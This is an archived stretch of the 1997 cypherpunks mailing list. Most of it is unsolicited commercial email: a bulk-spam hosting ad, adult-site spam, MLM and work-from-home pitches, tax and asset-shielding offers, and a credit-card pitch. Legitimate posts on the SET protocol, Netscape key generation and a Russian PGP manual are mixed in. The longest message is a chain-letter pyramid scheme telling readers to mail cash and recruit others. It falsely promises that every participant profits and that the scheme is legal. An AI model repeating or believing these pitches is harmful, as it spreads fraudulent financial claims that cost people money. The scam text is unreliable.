Content-Type: text/plain


We have the ultimate private spammers network, we own our own backbone at
155 Mbs of pure power, we have over 50 spam servers awaiting for your mass
e-mailing, for more information of interest, please leave me your telephone
number and I'll contact you with more information.

You won't get kicked off this network, because we own it !

The Spammers Network

Chris Maytrix

E-Mail me your telephone number to get involved today !





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 11 Dec 1997 10:32:43 -0800 (PST)
To: Recipient List Suppressed:;
Subject: DCSB: Donald Eastlake; "SET and UNSET"
Message-ID: <v04002704b0b5dd640163@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: rah@pop.sneaker.net
Mime-Version: 1.0
Date: Thu, 11 Dec 1997 09:38:51 -0500
To: dcsb@ai.mit.edu, dcsb-announce@ai.mit.edu
From: Robert Hettinga <rah@shipwright.com>
Subject: DCSB: Donald Eastlake; "SET and UNSET"
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Robert Hettinga <rah@shipwright.com>

-----BEGIN PGP SIGNED MESSAGE-----

               The Digital Commerce Society of Boston

                            Presents

                       Donald Eastlake 3rd
                         Cybercash, Inc.

                          SET and UNSET

                      Tuesday, January 6, 1997
                             12 - 2 PM
                 The Downtown Harvard Club of Boston
                   One Federal Street, Boston, MA


After great gestational pain, version 1.0 of the complex, heavyweight
Secure Electronic Transacation (SET) protocol has been promulgated by the
credit card association, is being deployed in pilots, and is continuing
to have features added to it in a SET 2.0 design effort.  Meanwhile, the
environment that lead to SET continues to change and new alternatives for
securing card/account based transactions are being suggested.

Donald Eastlake 3rd is a Principal Systems Engineer at CyberCash, Inc.
before which he was in the Pathworks network group at Digital Equipment
Corporation.  At CyberCash, he helped design the "CyberCash message format"
documented in RFC 2898 and implemented the library routines that support
them. He also architected and did the preliminary implementation of
CyberCash's SET implementation.  He is active in IETF standards efforts and
is currently the document editor for the IETF DNS security working group
including RFCs 2065 and 2137.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, January 6, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$32.50. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, January 3rd, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $32.50. Please include your e-mail
address, so that we can send you a confirmation

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston



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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rem@jaguar.dal-tek.net
Date: Thu, 11 Dec 1997 01:14:20 -0800 (PST)
To: undisclosed-recipients:;
Subject: FIVE QUESTIONS THAT COULD CHANGE YOUR LIFE
Message-ID: <199712112153.QAA00910@jaguar.dal-tek.net>
MIME-Version: 1.0
Content-Type: text/plain


Should you wish to be removed from our list, please follow simple
 instructions at the end of this short message.
 
FIVE QUESTIONS THAT CAN CHANGE YOUR LIFE
 
 Can you answer these 5 questions with a simple "Yes" or "No"?
 
 1. Do you want to legally reduce your business and or personal
    taxes up to 95%? - Yes or No
 2. Would you like to protect any and all assets from any form of
    judgement, which also includes IRS liens and levies? - Yes or No
 3. Would you like to preserve your personal privacy? - Yes or No
 4. Would you like to create a six figure income in the next four
    to six months? - Yes or No
 5. Would you like to earn 5%-20% per month on your money? -
     Yes or No
 
 If you answered "Yes" to any or all of the five questions, then I 
 urge you to call the number below. You can listen to either the 5 or 
 12  minute message, which will give you an overview of our unique 
 strategies. 

 You owe it to yourself to be fully informed.
 
 Phone:  1-800-937-5377 Ext. 9300 for a 2 minute Company Overview

 Access our 5 and 12 minute messages at 1-512-505-6880
  
 Then simply email me at: rich@jaguar.dal-tek.net and ask for the URL and
 Autoresponder addresses for further information.  Please place "URL6" as
 your message subject or use the hyperlink, below.

 HyperLink:  mailto:rich@jaguar.dal-tek.net?subject=URL6
 
   ASK ABOUT OUR HOLIDAY SPECIAL!!  Price reduced thru Dec. 15th.

 To your future,
 
 Richard 

NOTE:  To be automatically removed from our mailing list simply hit REPLY
 to this message.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 11 Dec 1997 16:53:52 -0800 (PST)
To: Recipient List Suppressed:;
Subject: some interesting news...
Message-ID: <v04002734b0b630c69bc9@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


From: pete@loshin.com
Date: Thu, 11 Dec 1997 16:43:29 -0500
MIME-Version: 1.0
To: Robert Hettinga <rah@shipwright.com>
Subject: some interesting news...
Status: U

Bob, you can forward this if you like to any appropriate newsgroups (but
only if it hasn't already been mentioned).  If it isn't entirely clear,
let me know.

According to Netscape's press release of 12/10/97, their new Mission
Control software solution includes an LDAP directory server and a
certificate server.  That certificate server boasts an interesting new
feature: the ability for the server to generate not just certs but also
the keys, and install them on remotely managed browsers.  They are
positioning this as a feature for organizations that want to use keys
but don't want to lose access to corporate data.

-pl

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lisa@mailwiz.com
Date: Thu, 11 Dec 1997 13:43:59 -0800 (PST)
To: lisa@mailwiz.com
Subject: Free Live Video Sex!!!
Message-ID: <0000000000.AAA000@mailwiz.com>
MIME-Version: 1.0
Content-Type: text/plain


****************Attention Video Sex Lovers*****************
Never Pay for Video Sex ever again. Brand New Totally Free Live Video Sex Website.
Come Check out over Unlimited Live Video sex Channels!
http://209.67.146.84/indexc.htm























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 46480163@10228.com
Date: Thu, 11 Dec 1997 22:49:39 -0800 (PST)
To: success@nowhere.com
Subject: Do YOU Want To More About All MLM's??
Message-ID: <199702170025.GAA08056@nowhere.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>


    ***********************************************

              MLM LISTSERV

    ***********************************************


    THE Best Investment An MLM Entrepeneur Can Make!!!

   ===================================================


   * Introduce Your Program to Tens of Thousands of
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   * Discover which are the BEST Programs and Which
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   * Correspond with and learn from those "in-the-know"

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     Promotion, and Tricks of The Trade

   * This is the First (1st) and only Forum for Network
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   * The MLM Listserv has an unprecedented 65% payout!!

 
Would YOU like to Be Able to Find Out Anything and Everything
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For More Information/ and to purchase the World's only 
   MLM LISTSERV.....Delivered to YOUR Mailbox.....Contact:

    For Further Information on This "One of A Kind" 
  Opportunity.....Hit Reply and Put "MORE INFO" in the Subject
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    If By Some Mistake, you have been contacted in Error...
   Please Hit Reply...and Type "REMOVE" in the Subject line
   and you Will be Removed From Our Database Immediately.

   
         

     
  


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CallNow@1-800-811-2141
Date: Fri, 12 Dec 1997 01:22:37 -0800 (PST)
To: WiseFolks@UwiseFolk.com
Subject: - POWERFUL HOME BASED MONEY MAKER -
Message-ID: <41645494_32268507>
MIME-Version: 1.0
Content-Type: text/plain



               ********************************
We will personally close the sales for you and generate weekly
checks! Anyone can do this! Our sales team provides the fastest,
easiest money making system ever!!  My sponsor earned $10,750  in
his first five weeks just by referring people to our 800 number!

If you can give out an 800 number, you can make serious money with 
this program.  Our professional staff will handle all your recruit-
ing calls and close all your sales for you.......... it's just that
easy!

We pay $100.00 per sale each week.  It is very easy to generate a 
$5000 check your first week. Our powerful postcards or fliers are
the best marketing tools (we provide them)  I want you to call this
toll-free number, get your questions answered and ask about our 
dynamic product.

*** Call  1-800-811-2141  and give Code # 23913. *** Keep calling 
until you get through to a live person. Please be patient; it's 
worth it to find out about this program.

Our live representatives will answer your calls.  These represent-
atives will talk to your prospects, mail the materials, and close
them for you.

After you call 1-800-811-2141 (Code # 23913), listen to an overview
at (415) 273-6019 or pull a F.O.D. at (415) 273-6020.

**** 8 am- 10 pm CT Mon.- Sat.   I URGE YOU TO CALL 1-800-811-2141 
AND GET ALL THE DETAILS!  ****

****************************************************************
TO BE REMOVED FROM OUR MAILING LIST, TYPE: DogHouse-2@juno.com
in the (TO:) area and (REMOVE) in the subject area of a new E-mail
and send.
****************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Maksim Otstavnov" <maksim@volga.net>
Date: Thu, 11 Dec 1997 17:00:33 -0800 (PST)
To: pgp@volga.net
Subject: PGP 5.0i Manual translation released
Message-ID: <199712120100.RAA29735@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain


Updates:

* Russian translation of PGP 5.0 for Windows User's Guide is 
  released:

ftp.ifi.uio.no/pub/pgp/5.0/manual/win95nt/russian/pgp50manual-ru.pdf

* The following PGP Russian Homepage documents are updated:

http://www.geocities.com/SoHo/Studios/1059/pgp-ru.html
http://www.geocities.com/SoHo/Studios/1059/pgp50-ru-toc.html
http://www.geocities.com/SoHo/Studios/1059/pgp-project-ru.html

as well as

http://www.geocities.com/SoHo/Studios/1059/pubs-ru.html
--
-- Maksim Otstavnov <maksim@volga.net> http://www.geocities.com/SoHo/Studios/1059/
--   -maintainer of The Russian PGP HomePage
--     (http://www.geocities.com/SoHo/Studios/1059/pgp-ru.html)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sexappeal@idsweb.com
Date: Fri, 12 Dec 1997 23:14:25 -0800 (PST)
To: sex@nobody.com
Subject: Free Password
Message-ID: <54102170025.GAA08056@somewhere.com>
MIME-Version: 1.0
Content-Type: text/plain




**Must Be 18 or older to view my site** This e-mail is being sent to you
because your address was shown as visiting my site.  If someone else has
used your account and you wish to be removed e-mail me with the words
REMOVE in the subject line and I will delete you**:- )


Thank you for visiting my site!!   

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You are really going to unload now!!!  Not only have I posted new photos
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to :

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<FONT  COLOR="#0f0f0f" BACK="#fffffe" SIZE=3>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freebizz@simplyads.com
Date: Sat, 13 Dec 1997 10:31:53 -0800 (PST)
To: freebizz@simplyads.com
Subject: MEGA RESOURCE Makes MONEY
Message-ID: <199712131507.KAA03505@loki.silkspin.com>
MIME-Version: 1.0
Content-Type: text/plain


Fellow Netizen:

MEGA RESOURCE is NOT an MLM company.  It isn't even a company.  It is the
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FreeBIZZ
Mega Resource Licensing Agent
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========================================
This is an advertisement. To be removed from future mailings from our Company...Click Here!!!
mailto:freebizz@simplyads.com?subject=REMOVE
Thank You, and have a pleasant day.
=======================================









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: waujia84@msn.com
Date: Fri, 12 Dec 1997 18:17:35 -0800 (PST)
To: waujia84@msn.com
Subject: santa is bringing $$
Message-ID: <199712122514SAA28979@post.cs.uec.ac.jp>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE>
<FONT  COLOR="#000000" SIZE=3>STOP SITTING AROUND AND DOING NOTHING!              $$$ <B>TOTALLY NEW</B>! $$$                    
 DON'T LET LIFE AND OPPORTUNITY PASS YOU BY !    $$$ <B>TOTALLY NEW!</B> $$$              
 YOUR TIME HAS COME AND IT IS NOW!!!<FONT  COLOR="#ff8080" SIZE=3> </FONT><FONT  COLOR="#000000" SIZE=3>                     $$$ <B>TOTALLY NEW! </B>$$$            
                                 
                             <FONT  COLOR="#0080ff" SIZE=3> <B>YOU ARE ONE OF THE FIRST TO SEE THIS</FONT><FONT  COLOR="#000000" SIZE=3></B>                    
                    
        <FONT  COLOR="#ff0000" SIZE=3> HELP OTHERS SUCCEED, A "WIN-WIN"  PROPOSITION LIKE NO OTHER!  </FONT><FONT  COLOR="#000000" SIZE=3>                                               
                    
             <FONT  COLOR="#0080ff" SIZE=3> WE HAVE TAKEN A SUCCESSFUL FORMULA AND <B>MASTERED IT!</B>!!!!!!</FONT><FONT  COLOR="#000000" SIZE=3>                    
                    
                       <B> DO NOT DELETE THIS MESSAGE WITHOUT READING IT                      
                    
                             HELP YOUR FRIENDS AND FAMILY SUCCEED                     
                                             HELP YOURSELF!!!!!!!                                        
    </B>                    
      <FONT  COLOR="#008080" SIZE=3><B> $1,000,000.00     IN 6 MONTHS !               $1,000,000.00     IN 6 MONTHS !                    
       $1,000,000.00     IN 6 MONTHS !               $1,000,000.00     IN 6 MONTHS !                    
       $1,000,000.00     IN 6 MONTHS !               $1,000,000.00     IN 6 MONTHS !</FONT><FONT  COLOR="#000000" SIZE=3></B>                  
                    
        <FONT  COLOR="#ff0000" SIZE=3><B>TOTALLY NEW!   TOTALLY NEW!     TOTALLY NEW!      TOTALLY NEW!                  
       </FONT><FONT  COLOR="#000000" SIZE=3>             
     </B>I am sure that you have received many Emails in the past that showed ways of making a lot of money fast. I am sure you have discarding these as some pyramid scam or chain letter scheme. But you probably have wondered if these "systems "actually work . They <U>WORK! <B> .              
</U></B>However many of the programs have serious flaws and are extended so far as to make only the few succeed and the majority unsuccessful. We have taken a successful , very successful, formula and combined it with great products designed to make even the most computer illiterate succeed.But we have also taken it to the next level, a chance for you to help others around you . Nothing is more satisfying than being able to bring happiness to others. It is a gift that you can't put a price tag on.              
                    
                    
Email has come along way .It is still almost totally free-except for your ISP account. You can literally reach millions of people at no cost. This sure beats postal delivery . Our program will get even the beginner computer user on the path of success.<B>             
</B>Of course over the last few months a few road blocks have appeared that has hindered many success programs.            
These are;       <B>               
                     </B>                                        
                                  *******************                          
  1. goverment is trying to pass legislation to limit or stop what                         
has until now been a free way of advertising. Email will be severly                         
restricted, very, very soon.Up until now,this type of program is 100%                         
legal and has no laws governing it. Soon this will change.             
                                   
                                   *******************                          
 2.Internet service providers ,usch as AOL and Compuserve are really                         
trying their best to end unsolicited Emailing.             
                                               
                                   *******************                         
  3. Once you have seen a certain program that has "flooded" the                         
internet lines, it is already too late. The People who have made                         
money are on to bigger and brighter things, and the majority of                         
people will just delete the Email because they have seen it hundreds                         
of times already.                      
                                  ********************              
                        
   4.  OTHER PROGRAMS HAVE PRODUCTS AND REPORTS THAT ARE THERE                         
SPECIFICALLY TO JUSTIFY THE PROGRAM( make them legal). This program has a                        
 <B>great product</B> that can change peoples lives and help others around                         
them                        
                        
                                 $$$$$$$$$$$$$$$$$$$$$                      
                                                                                              
     <B>  <FONT  COLOR="#ff0000" SIZE=3>IF YOU EVER THOUGHT OF TRYING A PROGRAM , NOW IS THE                         
                         TIME AND THIS IS THE PROGRAM! </B>         </FONT><FONT  COLOR="#000000" SIZE=3>     
                       
                                 $$$$$$$$$$$$$$$$$$$$$                                                     
                                                                       
                                                 
  <B>THIS PROGRAM CAN ENABLE YOU TO MAKE $1,000,000 IN 6 MONTHS! </B>                       
                        
                        
Here is what happenned to me,                        
Hi my name is Stephen Haughten, I am 34 yrs old and have been employed                        
in the retail industry for 12 years working for someone else ,barely                         
making enough to pay the bills and at a dead end . I have always                         
tried new ideas and different investment stategies with little if any                         
success. In Sept of 96' , While "surfing the web" on AOL , I received                         
a Email from some one showing how I could make "$50,000 in 90 days"                         
It seemed like some" get rich quick scheme ", but what the hell , my                         
out of the pocket expense was $20 and a little time. I can spend $20                         
in seconds on meaningless items, so why not spend it on something                         
that may help my current financial situation. After I emailed A few                         
thousand people the program , I started receiving $5 bills in the                         
mail. I was quite surprised to say the least. I sent out more Emails                         
and before I knew it I had to switch to a P.O box because my mailbox                         
couldn't fit all e letters. Within 11 weeks I had made $42 000.00 !                         
It was like I saw the light at the end of the tunnel. I paid off the                         
$19000.00 that I owed in credit card bills and it was like I was a                         
new person. I couldn't wait to check the P.O. Box each day! After the                         
letters started to trickle down, I did the program again along with                         
this other  similer program that I saw.  By March 97' I quit my job,                         
paid off all my debt and  saw my money market acct grow from $1,500                         
to over $100,000 ! ,in little over 7 months! True story! I was now a                         
"full time" computer  Emailer. When I say full time , I say that I                         
spend a few hours a day Email,sorting through the mail and mailing                         
out the programs' letters to the people who sent me e $5.The rest of                         
the time I spent with my wife and my two sons . It was great to                         
finally be able to spend time with them, as I have always felt that I                         
never was able to give them the quality time they needed. Best of                         
all, My wife enjoyed helping me open the letters and mailing out the                         
programs!My wife was working as a secretary while trying to raise                         
our children. Now she was able to quit her job and the change in her                         
was unbelievable! We were finally beginning to live the life we so                         
deserved.                         
                                                                    
                               *************************                           
  On October 30th,1997 I decided to launch                         
my new ,improved and faster program. This program has all of the key                         
positive points from the several different programs that I have used.                         
And most importantly it is new and easy to use.                        
                        
                              *************************                        
                    But the absolute best part is the reports that                         
you send and receive actually are are <B>ALL NEW!</B>  and can show people                           
 how to take control of and improve their lives in every shape and                         
form !                                               
                        
                              *************************                        
          Prior reports from similer programs , were                         
basically there only to justify the program. These NEW reports                         
are - <B>PRICELESS! </B> The reports are unbelivable! The information in the                         
programs alone may change your life;                                                
               financially,emotionally,spiritually, in every way!                             
                        
       If you have tried other Email programs and had limited                         
success, it was because of three things ;                             
         <B> 1. EFFORT                           
          2. TIMING                               
          3. PRODUCT  </B>                         
                        
                                        ************************                        
                                            THIS PROGRAM                         
TAKES CARE OF ISSUES #2 AND #3 . THE EFFORT IS UP TO YOU.                        
 I can not stress how much of the success of a program depends on the                         
product and ease of use. Here is your chance , I do not know how long                         
you will have this opportunity, only the goverment can decide.                     
                        
   <B> IT IS A CAN'T LOSE - "WIN-WIN"  OPPORTUNITY!!   </B>                        
                          
    ********************************************************************                         
   <B> THIS PROGRAM ,UNLIKE THE OTHERS , HAS A GREAT PRODUCT                           
    AND IT WILL SUCCEED FOR THE SOLE PURPOSE OF PEOPLE  TRYING TO                         
    HELP OTHERS LIVE AND ENJOY LIFE TO THE FULLEST </B>                          
                                   
    *********************************************************************                                  
                                              
    <B>THIS IS THE PROGRAM TO TRY ! YOU MAY NOT GET ANOTHER CHANCE! </B>    
                      
                               
   Here is how the program works;                        
                        
Print this now for future reference***********************                        
This is a money making phenomenon !!!!!!!!!!  You are looking at the                        
most profitable and unique program you may ever see.  It is proven                         
to generate large sums of money and it is completely legal.  It does                         
not require you to come in contact with people, it doesn't require                         
hard work and you never have to leave the house .                       
                        
We sell thousands of people a product for $10.00 that costs very little to produce                        
on e-mail.  We build our business by recruiting new members and                         
partners and selling our products.                        
                        
The product in this program is a series of 4 reports providing tips for financial,                        
emotional and spiritial gain.  Each $10.00 order you receive by mail                         
will include the e-mail address of the sender.  To fill the order,                         
simply e-mail the report to the buyer, that's it!!!!!!!!!!!!  The                         
$10.00 they send is yours simply for sending the report via e-mail.                        
                        
         <B>YOU MUST FOLLOW THE INSTRUCTIONS EXACTLY!</B>            
                        
This is what you do ............................                        
                        
1.Order all 4 reports that are listed below.  For each report you send                        
 $10.00 cash, your e-mail address, return postal address (in case of                         
mail errors) to each person listed below.  When you order, be sure to                         
list the specific report you need.  You will need all 4 reports to                         
save on your computer for reselling them.                        
                        
2. <B>IMPORTANT  Do not alter the names, or the sequence that they                        
are in or you will not profit the way you should.THIS IS A KEY TO                         
MAKING THE PROGRAM WORK. It is not fair to the others in the program                         
if you do not follow the program exactly. DO UNTO OTHERS AS YOU WOULD                         
LIKE THEM TO DO UNTO YOU! -the golden rule of life .                        
        </B>                
3. Replace the name and address under REPORT #1 with your name and move the                        
name that was there down to REPORT #2.  Move the name on REPORT #2                         
to REPORT #3 and so on eliminating the name on report #4.  They are                          
well on their way to financial independance by now so don't worry .                          
Copy the names and addresses accurately and do not remove the                         
Report/Product positions.                        
                        
Take this entire text and save it on your computer.                        
                        
Now your ready to start selling your product on the web.  Start your campaign as            
soon as you can!!!!!!!!!!!!!!!                            
                        
***********ALWAYS PROVIDE SAME DAY SERVICE*******************                        
                        
ALWAYS SEND $10.00 CASH FOR EACH ORDER (CONCEALED) FOR EACH ORDER  REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER.  ALWAYS SEND MAIL FIRST CLASS AND PROVIDE YOUR E MAIL ADDRESS            
FOR QUICK DELIVERY.                         
                        
THIS MAY BE THE MOST IMPORTANT DECISION OF YOUR LIFE, BUT IT'S                         
UP TO YOU...  I AM GIVING YOU THE OPPORTUNITY TO OPEN YOUR                         
MIND, VISUALIZE YOUR GOALS AND YOUR DREAMS, AND TAKE THE                         
FIRST STEP TOWARD THEM.  THE INFORMATION I HAVE PROVIDED                         
HERE WILL ALLOW YOU TO ACHIEVE YOUR GOALS AND REALIZE                         
YOUR DREAMS.  YOUR INCOME DOES NOT HAVE TO BE LIMITED TO                         
AN HOURLY WAGE OR A SALARY.  TAKE THE INITIATIVE!  ...                                         
                        
                         IT MAY CHANGE YOUR LIFE!         
                      
____________________________________________________                        
REPORT #1 <B>"EMAIL MILLIONAIRES-THE ROAD TO INDEPENDANCE" </B>                       
ORDER REPORT #1 FROM:                          
A&L INC.                        
113 MT. HERMON WAY                         
OCEAN GROVE , N.J. 07756                        
_____________________________________________________                        
REPORT #2 <B>"REAL ESTATE -'THE ART OF THE FLIP'"            </B>            
ORDER REPORT #2 FROM:                        
SMITH & CO.                        
P.O. BOX 678                         
KEYPORT N.J. 07735                        
_____________________________________________________                        
REPORT #3 <B>"MAKE 10-20% A MONTH IN STOCKS" </B>                       
ORDER REPORT #3 FROM:                        
MS INC.                        
46 W. SHORE ST                        
KEANSBURG N.J. 07734                        
______________________________________________________                        
REPORT #4 <B>"THE STRANGEST SECRET " </B>                       
ORDER REPORT #4 FROM:                        
McCollough                         
504 13th ave                        
Belmar N.J. 07719                        
______________________________________________________                        
                        
HERE'S HOW THIS AMAZING PLAN WILL EARN YOU MONEY                        
Let's say you decide to start small just to see how it goes.                        
Assume your goal is to get only 20 people to participate on your first level.                        
(Placing FREE ads on the internet could get a better response.)                        
                        
Also assume that everyone else in YOUR BUILDING ORGANIZATION                        
gets only 20 downline members.  Follow this example for the STAGGERING                         
results below:                        
                        
1st level -- your 20 members with 10  ($10 x 20)                 $200    (position 1)                        
2nd level --20 members from those 20 ($10 x 400)              $4000    (position 2)                        
3rd level -- 20 members from those 400 ($10 x 8,000)         $80,000   (position 3)                        
4th level -- 20 members from those 8,000 ($10 x 160,000)   $1,600,000   (position 4)                        
                                                THIS TOTALS----------->  <B> $1,684,200.00 !!!!!!!!!                        
                        </B>
Remember friends, this is assuming that the people who participate only                        
recruit 20 people each.  Imagine what the response would be if you only  got 10 more people to participate!                        
Some people get 100's of recruits!                          
STOP AND THINK ABOUT IT!                        
                        
By the way, your cost to participate in this is practically nothing.                        
You obviously already have an internet connection and e-mail is FREE!!!                        
                        
REMEMBER:  Approx. 50,000 new people get online monthly!                        
ORDER YOUR REPORTS NOW!!!                        
                        
                              *******TIPS FOR SUCCESS*******                        
                        
TREAT THIS AS YOUR BUSINESS!                        
Send for the four reports IMMEDIATELY, so you will have them when the                        
orders start coming in because: When you receive a $10 order, you MUST                        
send out the requested product/report to comply with the                        
U.S. Postal & Lottery Laws, Title 18, Sections 1302 and 1341 or Title 18,                        
Section 3005 in the U.S. Code, also Code of Federal Regs. vol. 16,                        
Sections 255 and 436, which state that:                        
"a product or service must be exchanged for money received."                        
                        
 *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE. *                        
Be patient and persistent with this program.  If you follow the instructions                        
EXACTLY the results WILL undoubtedly be SUCCESS!                        
 *  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!                        
                        
                          *******YOUR SUCCESS GUIDELINE*******                        
                        
The check point that guarantees your success is simply this:                        
You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!                        
If you don't within two weeks, advertise more and send out more programs                         
until you do.  Then, a couple of weeks later you should receive at least 100                        
orders for REPORT #2.  If you don't, advertise more and send out more                         
programs until you do.  Once you have received 100 or more orders for                         
REPORT #2, YOU CAN RELAX, because you will be on your way to the                         
BANK!  Or, you can DOUBLE your efforts!                        
                        
REMEMBER:  Every time your name is moved down on the list you are in front                        
of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS by                        
what report people are ordering from you.                        
IT'S THAT EASY!!!                       
                                           
====================================================                        
<B>ORDER TODAY AND GET STARTED ON THE PATH TO YOUR FINANCIAL FREEDOM!!!  </B>                      
                        
Very few people reach financial independence, because when                        
opportunity knocks, they choose to ignore it.  It is much easier to say                        
"NO" than "YES", and this is the question that you must answer.                        
Will YOU ignore this amazing opportunity or will you take advantage of it?                        
If you do nothing, you have indeed missed something and nothing will change.                        
Please re-read this material, this is a special opportunity.  My method is simple.                        
I sell thousands of people a product for $10 that costs me pennies to produce                        
and e-mail.  I should also point out this program is legal and everyone who                        
participates WILL make money.  This is not a chain letter or pyramid scam.                        
This is a business!  You are offering a awesome product to your people.                        
After they purchase the product from you, they reproduce more and resell them.                        
The information contained in these REPORTS IS UNBELIEVABLE!  They                         
will not only help you in making your participation in this program                         
more rewarding, but THEY MAY CHANGE YOUR LIFE AND HELP THOSE YOU LOVE                         
AND CARE ABOUT! .  You are also buying the rights to reprint all of                         
the REPORTS, which will be ordered from you by those to whom you mail                         
this program.  The concise REPORTS you will be buying are easy to                         
duplicate for your entrepreneurial endeavor.                        
                        
           Thank you for your attention.  Now make the decision that's right for you.


<FONT  COLOR="#000000" SIZE=3>
</PRE></H




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hellen@east.net
Date: Sat, 13 Dec 1997 12:56:44 -0800 (PST)
Subject: GETS THE CREDIT CARD YOU DESERVE- GUARANTEED!
Message-ID: <199712131917.TAA19470@mwr.mwr.is>
MIME-Version: 1.0
Content-Type: text/plain



GET THE CREDIT YOU DESERVE!

Hi!

I just wanted to pass along some information that you will want to know.  Its amazing!  Listen to this.....

I obtained a credit card with a $10,000 limit within days!  I learned how to transfer my high interest rate credit card balances to a credit card with a 5.9% introductory rate and the rate stayed in the 9% bracket after the introductory period!  Also, I learned how to obtain a credit card that will allow me to earn one free mile of flight for every dollar I charge on my card!  And for those who are credit challenged, you can learn how to obtain an UNSECURED credit card that, if used wisely, can help re-establish your good credit.  These cards are all LEGITIMATE VISA OR MASTERCARDS!!  This information can be yours shortly!  Save money and make a positive change in your financial future!  This information could change your life!

Simply click mailto:hed@goplay.com and then type "credit" as the subject.  You'll be thankful you did.  I know I was!

I'll talk to you later.



Cam

PS:  If this message reached you in error, please accept my apologies and delete it.  This is a one-time mailing and you will not be mailed to again.











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 03133071@moneymakers.com
Date: Sat, 13 Dec 1997 16:34:04 -0800 (PST)
To: ShowYouTheMoney@MoneyMakers.com
Subject: Make $2,000 - $5,000 per week -NOT MLM
Message-ID: <199746522791.FBB03720@moneymakers.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
ARE YOU READY TO MAKE IT; WILL THE LIGHT GO ON?

Are you tired of working 9-5 for peanuts, with little or no control over your financial destiny? Hello, my name is Dieter and my partners name is Dennis
 (By the way, please forgive this intrusion. We are looking for people who have
an entrepreneurial spirit and can recognize an opportunity when they see it and move on it! If that's you, We'd like to invite you to join our team and work from your home making $2.000 to 5,000 per week and more....much more in some cases. One of our members quit her job of 14 years after one month! Another made the cover of a national magazine after just one quarter! Skeptical? You should be. You've seen every scam out there. So have the rest of us. But simply stated, this is the finest opportunity in America today. We can prove it. How? We have exactly what over-worked, under-paid, over-taxed Americans desperately want and need!

REMEMBER, THE ROAD TO HELL IS PAVED WITH GOOD INTENTIONS!

It's your choice, financial freedom or bondage!

INTRODUCTION:
